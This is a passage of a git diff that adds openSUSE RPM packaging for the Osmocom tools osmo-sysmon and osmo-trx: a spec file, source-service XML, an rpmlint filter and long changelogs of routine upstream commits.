+Mon Jun 11 20:02:36 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Sun Jun 10 20:02:33 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Sat Jun 09 20:02:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Fri Jun 08 20:02:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Thu Jun 07 20:02:34 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Thu Jun 07 10:38:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.0.0+git.20180605:
+ * Makefile.am: Fix typo
+ * Disconnect properly on errors so we can reconnect
+ * Add zero termination char to received ctrl cmd message
+ * Remove unused last_value handling code
+ * add contrib/jenkins.sh for build verification
+ * simple_ctrl: Check for NULL return of simple_ctrl_xceive
+ * Fix compilation issue on my machine, remove unused include
+ * Remove unused function
+ * rename to osmo-sysmon
+
+-------------------------------------------------------------------
+Tue Jun 5 21:51:38 UTC 2018 - mardnh@gmx.de
+
+- Remove patch:
+ * osmo-sysmon-fix-makefile.patch (fixed upstream)
+
+-------------------------------------------------------------------
+Tue Jun 5 18:47:33 UTC 2018 - mardnh@gmx.de
+
+- Initial package, version 0.0.0+git.20180605
diff --git a/rpm-local/spec/osmo-sysmon/osmo-sysmon.spec b/rpm-local/spec/osmo-sysmon/osmo-sysmon.spec
new file mode 100644
index 0000000..e5fe007
--- /dev/null
+++ b/rpm-local/spec/osmo-sysmon/osmo-sysmon.spec
@@ -0,0 +1,66 @@
+#
+# spec file for package osmo-sysmon
+#
+# Copyright (c) 2018, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+Name: osmo-sysmon
+Version: 0.2.0.4
+Release: 0
+Summary: Osmocom System Monitor
+License: GPL-2.0-or-later
+Group: Productivity/Telephony/Utilities
+URL: http://cgit.osmocom.org/osmo-sysmon/
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf-archive
+BuildRequires: automake
+BuildRequires: libtool
+BuildRequires: pkgconfig
+BuildRequires: pkgconfig(libmnl)
+BuildRequires: pkgconfig(libosmocore) >= 0.11.0
+BuildRequires: pkgconfig(libosmoctrl) >= 0.11.0
+BuildRequires: pkgconfig(libosmogsm) >= 0.11.0
+BuildRequires: pkgconfig(libosmovty) >= 0.11.0
+BuildRequires: pkgconfig(libosmo-netif) >= 0.4.0
+BuildRequires: pkgconfig(liboping) >= 1.9.0.
+
+%description
+Osmocom System Monitor.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fiv
+%configure \
+ --docdir=%{_docdir}/%{name} \
+ --with-systemdsystemunitdir=%{_unitdir}
+make %{?_smp_mflags}
+
+%install
+%make_install
+
+%files
+%license COPYING
+%dir %{_docdir}/%{name}
+%dir %{_docdir}/%{name}/examples
+%dir %{_docdir}/%{name}/examples/%{name}
+%{_docdir}/%{name}/examples/%{name}/osmo-sysmon.cfg
+%{_bindir}/osmo-ctrl-client
+%{_bindir}/osmo-sysmon
+%dir %{_sysconfdir}/osmocom
+%config %{_sysconfdir}/osmocom/osmo-sysmon.cfg
+
+%changelog
diff --git a/rpm-local/spec/osmo-trx/_service b/rpm-local/spec/osmo-trx/_service
new file mode 100644
index 0000000..c0d81ec
--- /dev/null
+++ b/rpm-local/spec/osmo-trx/_service
@@ -0,0 +1,13 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/osmo-trx</param>
+ <param name="versionformat">@PARENT_TAG@.@TAG_OFFSET@</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="file">*.tar</param>
+ <param name="compression">xz</param>
+ </service>
+ <service name="set_version" mode="disabled"/>
+</services>
diff --git a/rpm-local/spec/osmo-trx/_servicedata b/rpm-local/spec/osmo-trx/_servicedata
new file mode 100644
index 0000000..10b10a8
--- /dev/null
+++ b/rpm-local/spec/osmo-trx/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/osmo-trx</param>
+ <param name="changesrevision">546516d79cfd8e40e4aa2829eb3982eef63cfaba</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-trx/osmo-trx-rpmlintrc b/rpm-local/spec/osmo-trx/osmo-trx-rpmlintrc
new file mode 100644
index 0000000..8a61fe9
--- /dev/null
+++ b/rpm-local/spec/osmo-trx/osmo-trx-rpmlintrc
@@ -0,0 +1 @@
+addFilter("W: suse-missing-rclink")
diff --git a/rpm-local/spec/osmo-trx/osmo-trx.changes b/rpm-local/spec/osmo-trx/osmo-trx.changes
new file mode 100644
index 0000000..7cc5a47
--- /dev/null
+++ b/rpm-local/spec/osmo-trx/osmo-trx.changes
@@ -0,0 +1,973 @@
+-------------------------------------------------------------------
+Wed May 06 20:02:21 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.30:
+ * prbs-tool: Add error simulation capabilities
+ * PRBS tool sending PRBS sequence to TRX
+
+-------------------------------------------------------------------
+Wed Apr 15 20:02:15 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.28:
+ * transceiver: get rid of the ctrl threads
+
+-------------------------------------------------------------------
+Tue Apr 14 20:02:27 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.27:
+ * doc: apply an rssi-offset of 28 by default.
+ * transceiver: check the right vector
+ * configure.ac: fix libtool issue with clang and sanitizer
+
+-------------------------------------------------------------------
+Tue Apr 07 20:02:19 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.24:
+ * doc: do not set the base-port of the trx
+
+-------------------------------------------------------------------
+Wed Apr 01 20:02:34 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.23:
+ * debug: use LOGL_NOTICE for log category DDEV
+
+-------------------------------------------------------------------
+Mon Mar 16 21:01:57 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.22:
+ * radioDevice: Drop unused isControl param from WriteSamples API
+ * radioDevice: Drop unused RSSI param from readSamples API
+
+-------------------------------------------------------------------
+Wed Feb 26 21:02:28 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.20:
+ * cosmetic: fix several typos found by codespell
+
+-------------------------------------------------------------------
+Sat Feb 22 21:03:02 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.19:
+ * debug.h: Fix print format of chan in CLOGCHAN
+ * debug.h: Avoid printing pthread_t type
+ * contrib/jenkins.sh: Reorder sanity checks
+
+-------------------------------------------------------------------
+Thu Jan 16 21:03:33 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.16:
+ * lms: Initial multi-arfcn support
+ * lms: Make ts_offset and smpl rate coefs device-specific
+ * lms: Store device type specific parameters in one place
+
+-------------------------------------------------------------------
+Wed Jan 15 21:08:15 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.13:
+ * lms: Move rx_buffers allocation to constructor
+ * lms: Make reference to std::vector unambiguous
+
+-------------------------------------------------------------------
+Tue Jan 14 21:04:25 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.11:
+ * lms: Change radioDevice constructor arg name to avoid masking instance attr
+ * lms: Improve smpl_buf error logging
+ * smpl_buf: Fix str_code() param and print unknown error val
+
+-------------------------------------------------------------------
+Wed Jan 08 21:02:34 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.8:
+ * lms: Drop unused define
+ * lms: Move initialization of field started to constructor
+ * doc: Update vty reference xml file
+ * radioInterfaceMulti: Fail to tune on freq not following multi-arfcn restrictions
+ * doc: clarify number of channels on B210 with multi-arfcn enabled
+ * uhd: Improve some logging lines printing UHD pretty-print output
+ * uhd: Use DEVDRV log category and support UHD >=3.11 logging framework
+ * Make logging category DLMS generic and reusable for other backends
+
+-------------------------------------------------------------------
+Fri Jan 03 21:06:15 UTC 2020 - mardnh@gmx.de
+
+- Update to version 1.2.0.0:
+ * Bump version: 1.1.1.38-9f2b-dirty → 1.2.0
+
+-------------------------------------------------------------------
+Mon Dec 23 21:03:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.38:
+ * Transceiver.cpp: Introduce and use new logging categories
+ * uhd: use value already cached in tmp variable
+
+-------------------------------------------------------------------
+Wed Dec 04 21:02:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.36:
+ * trx: exit() on unsupported positional arguments on command line
+
+-------------------------------------------------------------------
+Fri Nov 29 21:12:14 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.35:
+ * Transceiver: Fix wrong response upon CMD HANDOVER failure
+
+-------------------------------------------------------------------
+Mon Oct 21 20:02:00 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.34:
+ * vty: Simplify filler burst settings and improve help and readability.
+
+-------------------------------------------------------------------
+Thu Oct 17 20:01:40 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.33:
+ * Fix common misspellings and typos
+
+-------------------------------------------------------------------
+Tue Oct 15 20:02:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.32:
+ * vty: Don't enable random filler bursts automatically with EDGE.
+
+-------------------------------------------------------------------
+Fri Oct 11 20:02:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.31:
+ * Use new libosmocore logging lock API
+
+-------------------------------------------------------------------
+Fri Oct 04 20:01:46 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.30:
+ * radioInterfaceMulti: write frequency offset direction (rx/tx) in log line
+
+-------------------------------------------------------------------
+Sat Sep 28 20:03:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.29:
+ * radioInterface: Atomically fetch and change underrun variable
+
+-------------------------------------------------------------------
+Fri Sep 20 20:02:44 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.28:
+ * Move multi-ARFCN chan amount modification from UHDDevice to parent class
+ * radioInterface: Mark setRxGain as virtual
+ * Transceiver: Fixed copying of history into and from channelizer buffer.
+
+-------------------------------------------------------------------
+Wed Sep 18 20:06:22 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.25:
+ * radioInterface{Multi,Resamp}: Fix successful writeSamples() masking underrun from readSamples()
+ * UHDDevice: Drop unneeded MULTI_ARFCN checks
+ * radioInterfaceMulti: Override setTxGain() to avoid chan!=0 calls
+ * radioDevice: Introduce getTxGain() API
+ * radioInterface: Remove unusued getRxGain()
+ * LMSDevice: Return previous txGain/rxGain if setting value failed
+ * USRPDevice: Return previous txGain if setting value failed
+ * USRPDevice: Fix setRxGain return on error and getRxGain() returning always 0
+ * radioInterfaceMulti: Check equals zero explicitly
+ * radioInterface: Rename mRadio to mDevice
+
+-------------------------------------------------------------------
+Fri Sep 13 20:01:43 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.15:
+ * Transceiver: Don't stop TRX if pulling from OFF timeslot
+ * Transceiver: pullRadioVector(): Fix use of uninitialized value bi->tn
+
+-------------------------------------------------------------------
+Fri Sep 06 20:01:42 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.13:
+ * Transceiver: Log error condition no burst in pullRadioVector()
+ * Transceiver: Use LOGCHAN in logRxBurst to unify log format
+ * Transceiver: Fix logging TN and version
+
+-------------------------------------------------------------------
+Tue Aug 27 20:03:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.10:
+ * device: Use LOGCHAN in set_antennas()
+ * lms: Log available antennas if requested antenna fails
+ * Transceiver: Enable EDGE detection only on PDCH timeslots
+ * Transceiver: exit process when BTS drops connection
+
+-------------------------------------------------------------------
+Mon Aug 26 20:03:13 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.6:
+ * Transceiver: Fix idle ul burst indications being dropped
+ * Transceiver: Clean up receival of downlink bursts
+ * Transceiver: Check return value when binding IP addr for clock socket
+ * Transceiver: fix segfault during init if IP addr binding fails
+
+-------------------------------------------------------------------
+Fri Aug 23 20:05:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.2:
+ * Drop old setPriority related code
+
+-------------------------------------------------------------------
+Tue Aug 20 20:05:33 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.1:
+ * osmo-trx: log to stderr on signal received
+
+-------------------------------------------------------------------
+Thu Aug 08 21:56:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.1.1.0:
+ * Bump version: 1.1.0-dirty → 1.1.1
+ * Bump version: 1.0.0.104-72a7 → 1.1.0
+ * Require newer version of libosmocore to avoid build failure
+ * Transceiver: Add missing include netinet/in.h
+ * Drop old README information, provide new updated README
+ * Move std_inband.rbf under device/usrp1/ dir
+ * Move README.DFEsymbolspaced to utils/matlab
+ * Move Transceiver52/README to UserManual
+ * Move matlab files under utils/matlab
+ * Move inband-signaling-usb documentation to UserManual
+ * lms: Drop rx_underruns rate ctr, add tx_drop_* rate ctr
+ * jenkins.sh: Workaround libusrp build race conditon
+ * usrp1: don't check for non-null underrun pointer
+ * radioInterface: Clarify how underruns are handled driving a radioDevice
+ * Remove unused autogen.sh
+ * Remove empty ChangeLog fnd NEWS files
+
+-------------------------------------------------------------------
+Wed Jul 24 20:20:02 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.90:
+ * manuals/configuration.adoc: fix copy-paste error in config example
+
+-------------------------------------------------------------------
+Tue Jul 23 20:10:08 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.89:
+ * Transceiver: Clean up code passing parameters to threads
+ * Transceiver: Store TRXD version per channel
+ * Bind CTRL port to IP addr specified in VTY config
+
+-------------------------------------------------------------------
+Mon Jul 22 20:04:19 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.86:
+ * Add SPDX annotation
+ * cosmetic: Fix trailing whitespace in several files
+ * debian/copyright: Add missing file Utils.* to LGPL-2.1+ list
+ * debian/copyright: Update wrong paths in license list
+ * debian/copyright: Remove non existent radioInterfaceDiversity.cpp from list
+
+-------------------------------------------------------------------
+Sun Jul 21 20:03:12 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.81:
+ * radioInterface.cpp: Fix missing member initialization of RadioInterface()
+ * CorrelationSequence: fix initialization of class members
+ * ChannelizerBase: fix initialization of class members
+ * Timeval: Restore output stream flags after changing them
+
+-------------------------------------------------------------------
+Sat Jul 20 20:02:01 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.77:
+ * trxd_fill_common(): fix TRXD header version coding
+ * proto_trxd.c: Use bit-wise AND, not boolean AND
+
+-------------------------------------------------------------------
+Fri Jul 19 20:03:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.75:
+ * Transceiver: Initialize mExtRACH in constructor
+ * driveTxPriorityQueue(): enrich logging message
+ * driveTxPriorityQueue(): check if message header format is supported
+ * driveTxPriorityQueue(): use trxd_hdr_common for message parsing
+ * driveTxPriorityQueue(): cosmetic: use proper type for TDMA TN
+ * Transceiver: Support TRXD v1
+ * Transceiver: Support SETFORMAT command
+ * Transceiver: Move out TRXD socket send code to prepare for TRXDv1
+ * Logger: global Log mutex is now available from C code
+ * sigProcLib: Add C/I (Carrier-to-Interference ratio) computation
+ * sigProcLib: detectAnyBurst(): make TSC used to detect burst available to caller
+ * sigProcLib: detectAnyBurst() family: Use struct to gather all out params
+
+-------------------------------------------------------------------
+Wed Jul 17 19:05:24 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.63:
+ * Fix spelling discovered by lintian
+
+-------------------------------------------------------------------
+Thu Jul 11 20:12:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.62:
+ * contrib/jenkins.sh: run "make maintainer-clean"
+
+-------------------------------------------------------------------
+Sun Jul 07 20:09:26 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.61:
+ * Transceiver: Support pulling idle frames in pullRadioVector()
+ * Transceiver: pullRadioVector(): Move initialization of var to start of function
+ * Transceiver: Simplify code on early error return when calling detectAnyBurst
+ * Transceiver: Avoid noise calculation formula in 2 branches in pullRadioVector
+
+-------------------------------------------------------------------
+Fri Jul 05 20:06:07 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.57:
+ * Transceiver: replace UDPSocket with libosmocore socket API
+ * Transceiver: Get rid of SoftVector in struct trx_ul_burst_ind
+ * Transceiver: Drop use of GSM::Time from trx_ul_burst_ind
+ * Transceiver: Move soft bits normalization to pullRadioVector()
+ * Transceiver: Move calculation of normalized values (rssiOffset) to pullRadioVector()
+
+-------------------------------------------------------------------
+Wed Jul 03 20:04:54 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.52:
+ * Transceiver: Move nbits burst size calculation to pullRadioVector()
+ * Transceiver: Drop unused rssi_valid struct field
+
+-------------------------------------------------------------------
+Tue Jul 02 20:11:58 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.50:
+ * Transceiver: refactor: gather uplink burst parameters in struct
+ * Introduce structs to encode TRXD packets
+
+-------------------------------------------------------------------
+Tue Jun 25 20:14:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.48:
+ * trx_{vty,rate_ctr}: Set proper license AGPLv3+
+ * Remove AUTHORS file
+
+-------------------------------------------------------------------
+Mon Jun 17 20:04:38 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.46:
+ * Add option to set stack size in config file, default == 0 == OS default
+
+-------------------------------------------------------------------
+Tue Jun 11 20:02:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.45:
+ * Add VTY commands to set error ctr thresholds
+
+-------------------------------------------------------------------
+Sun Jun 09 20:01:59 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.44:
+ * lms: Fix stream_stats checks with overrun/underrun
+ * lms: Drop unusued variable masterClockRate
+
+-------------------------------------------------------------------
+Thu Jun 06 20:02:12 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.42:
+ * doc: vty: Update trx_vty_reference.xml
+ * Rename and move STOP signal from Transceiver to main
+ * Add rate_ctr support to store/retrieve SDR errors through VTY
+
+-------------------------------------------------------------------
+Fri May 31 20:02:12 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.39:
+ * debian: create -doc subpackage with pdf manuals
+
+-------------------------------------------------------------------
+Sun May 26 20:02:04 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.38:
+ * lms: Fix stream_stats checks with droppedPackets
+
+-------------------------------------------------------------------
+Fri May 10 20:02:18 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.37:
+ * lms: Use smpl_buf to recover from timestamp jumps
+ * smpl_buf: Move it to device/common and create libdevice_common.la
+ * Introduce LOGCHAN macro to standarize logging channel info
+ * smpl_buf: Remove dbg log line with duplicated info
+
+-------------------------------------------------------------------
+Sat May 04 20:02:03 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.33:
+ * smpl_buf: Remove unused clk_rt variable (fixup)
+
+-------------------------------------------------------------------
+Fri May 03 20:02:11 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.32:
+ * smpl_buf: Remove unused clk_rt variable
+ * device: Drop unused numberRead/numberWritten APIs
+ * Move smpl_buf out of uhd dir to re-use it in other devices
+ * uhd: Avoid reallocation of buffers every read
+ * cosmetic: uhd: Use loglevel ERROR instead of ERR
+ * uhd: smpl_buf: Use TIMESTAMP type in str_status
+ * uhd: smpl_buf: Drop UHD specifics out back to UHDDevice
+ * cosmetic: uhd: Move smpl_buf out of UHDDevice, move UHDDevice class definition to .h
+
+-------------------------------------------------------------------
+Fri Apr 26 20:02:05 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.24:
+ * lms: Catch and log dropped packets by HW during recv
+ * lms: Remove unused var m_last_tx_overruns
+ * lms: Remove references to ALERT loglevel
+ * lms: Log underrun/overrun events
+ * Move duplicated thread_enable_cancel to CommonLibs
+ * cosmetic: Threads.h: Remove trailing whitespace
+ * lms: Improve log during flush recv error
+ * lms: flush_recv: alloc buf on stack instead of heap
+
+-------------------------------------------------------------------
+Wed Apr 17 20:03:43 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.16:
+ * lms: properly call close if set_antennas() fails, add some comments
+ * lms: add device type detection and device specific gains
+ * lms: move LMS_GetLPFBWRange and LMS_Calibrate calls from open to start
+ * lms: move LMS_EnableChannel from Start/Stop to Open/Close device
+ * lms: Remove wrong unused code copied from -uhd
+ * use BSC_FD_READ and not OSMO_FD_READ
+
+-------------------------------------------------------------------
+Thu Apr 11 20:02:17 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.10:
+ * doc/configuration.adoc: fix incorrect number of physical RF channels for B210
+ * multi-ARFCN: fix maximum number of carriers limitation
+
+-------------------------------------------------------------------
+Thu Apr 04 20:02:10 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.8:
+ * osmo-trx: Check return code of osmo_fd_register
+
+-------------------------------------------------------------------
+Mon Apr 01 20:02:09 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.7:
+ * osmo-trx: Use signalfd to serialize signals in main thread ctx
+ * osmo-trx: Avoid handling signals after shutdown triggered
+
+-------------------------------------------------------------------
+Thu Jan 24 21:06:23 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.5:
+ * tests: Re-enable the convolve_test by default
+ * tests: Rework the convolve_test
+ * VTY: add extended (11-bit) RACH detection toggle
+
+-------------------------------------------------------------------
+Mon Jan 21 21:01:48 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.2:
+ * convolve: Remove support for step, offset parameters
+ * arm/convolve: Fix the vfp4 real convolution for h_len=12
+
+-------------------------------------------------------------------
+Sun Jan 20 21:01:45 UTC 2019 - mardnh@gmx.de
+
+- Update to version 1.0.0.0:
+ * Bump version: 0.4.0.125-7c78 → 1.0.0
+
+-------------------------------------------------------------------
+Sat Jan 12 21:01:41 UTC 2019 - mardnh@gmx.de
+
+- Update to version 0.4.0.127:
+ * cosmetic: Don't call the SDR "USRP" in error message
+ * usrp1: Fix formatting of log message (missing space)
+ * usrp1: Remove uninitialized skipRx logic
+
+-------------------------------------------------------------------
+Mon Dec 17 21:01:37 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.124:
+ * LMSDeviceTest: fix link errors on OBS
+
+-------------------------------------------------------------------
+Mon Dec 17 20:16:48 UTC 2018 - mardnh@gmx.de
+
+- Remove patch:
+ * osmo-trx-fix-linking-error.patch (fixed upstream)
+
+-------------------------------------------------------------------
+Fri Dec 14 21:01:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.123:
+ * configure.ac: check boost only if USRP1 support is enabled
+
+-------------------------------------------------------------------
+Fri Dec 14 15:42:23 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.122:
+ * lms: Fix build against LimeSuite > 18.10
+
+-------------------------------------------------------------------
+Thu Dec 13 21:01:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.121:
+ * TimevalTest: Make test deterministic with fake time
+ * Timeval: Move to osmo_clock_gettime
+ * Timeval: Move implementation to use clock_gettime and timespec
+ * Timeval: passed() returns true if time is equal
+ * LMSDevice: make use of dev-args in osmo-trx.cfg
+ * osmo-trx.cpp: move comma_delimited_to_vector() to Utils.cpp
+
+-------------------------------------------------------------------
+Sat Dec 08 21:01:38 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.115:
+ * lms: Do {under,over}run checks even if LMS_RecvStream fails
+ * lms: Move {under,over}run checks into separate method
+ * transceiver: Log TRXCTRL iface responses towards osmo-bts-trx
+ * Add TRXCTRL log category
+
+-------------------------------------------------------------------
+Thu Dec 06 21:01:54 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.111:
+ * contrib: fix makedistcheck with disabled systemd
+
+-------------------------------------------------------------------
+Wed Dec 05 21:01:44 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.110:
+ * transceiver: log chan on CTRL command received
+ * lms: Improve Set{Rx,Tx}{Gain,Freq} logging
+ * lms: Allow setting Tx/RxFreq for lchan!=0
+ * lms: Allow setting Tx/RxGain for chan!=0
+ * SigProcLib: Improve Vector buffer allocation mess
+ * jenkins.sh: run "make distcheck"
+ * contrib/jenkins.sh: build and publish manuals
+
+-------------------------------------------------------------------
+Tue Dec 04 21:01:56 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.103:
+ * lms: Close device on LMS_Init failure
+ * osmo-trx: Change some lines to use libosmocore logging instead of cout
+ * lms: Make sure LMS_Close is called when Device is torn down
+ * Fix DISTCHECK_CONFIGURE_FLAGS override
+
+-------------------------------------------------------------------
+Mon Dec 03 21:01:40 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.99:
+ * PointerFIFO: Fix memleak of ListNode
+ * radioInterface: Fix memleak during close()
+ * lms: Destroy streams on device stop
+ * lms: Fix start after stop of device
+
+-------------------------------------------------------------------
+Sun Dec 02 21:01:38 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.95:
+ * UHDDevice: log exception information on device open failure
+ * lms: Set Rx gain to midpoint, as comment suggests.
+ * lms: User correct scale factor for transmit samples
+
+-------------------------------------------------------------------
+Tue Nov 27 21:01:45 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.92:
+ * build manuals moved here from osmo-gsm-manuals.git
+ * osmotrx: Introduce code architecture chapter
+ * osmotrx: Create a common chapter for section documenting backends
+ * osmotrx: configuration: Add section to document multi-arfcn feature
+ * osmotrx: Write initial documentation for several supported devices
+ * osmotrx: Split Device specific section from backend one
+ * trx: Add Hardware device support section
+ * trx: Add Hardware architecture support section
+ * trx: Add reference to project wiki page in overfiew section
+ * vty-ref: Update URI of docbook 5.0 schema
+ * Introduce chapter trx_if.adoc and add it to OsmoTRX and OsmoBTS
+ * Introduce OsmoTRX manual
+ * lms: Apply LMS->OSMO log level conversion
+ * lms: Use LimeSuite.h log level defines instead of hardcoded values
+
+-------------------------------------------------------------------
+Tue Nov 20 19:11:05 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.76:
+ * UHDDevice: setRxGain on chan 0 when using multi-arfcn
+ * ChannelizerBase: Fix ASan alloc-dealloc-mismatch
+
+-------------------------------------------------------------------
+Wed Oct 24 20:02:16 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.74:
+ * sigProcLib: add a CorrType for extended (11-bit) RACH
+ * sigProcLib: introduce both TS1 and TS2 RACH synch. sequences
+
+-------------------------------------------------------------------
+Tue Oct 23 20:01:51 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.72:
+ * Add long parameters (--help, --version, ...)
+
+-------------------------------------------------------------------
+Sun Oct 21 17:24:29 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.71:
+ * trx_validate_config(): Fix validation of rx_sps
+ * SocketsTest.testReaderIP(): Zero terminate received buffer
+
+-------------------------------------------------------------------
+Wed Oct 10 20:01:42 UTC 2018 - mardnh@gmx.de
+
+- Update to version 0.4.0.69:
+ * jenkins.sh: Enable build of osmo-trx-lms
+ * examples: Use logging level 'set-all' instead of 'all'
+
+-------------------------------------------------------------------
+Wed Oct 03 20:01:39 UTC 2018 - mardnh@gmx.de
+
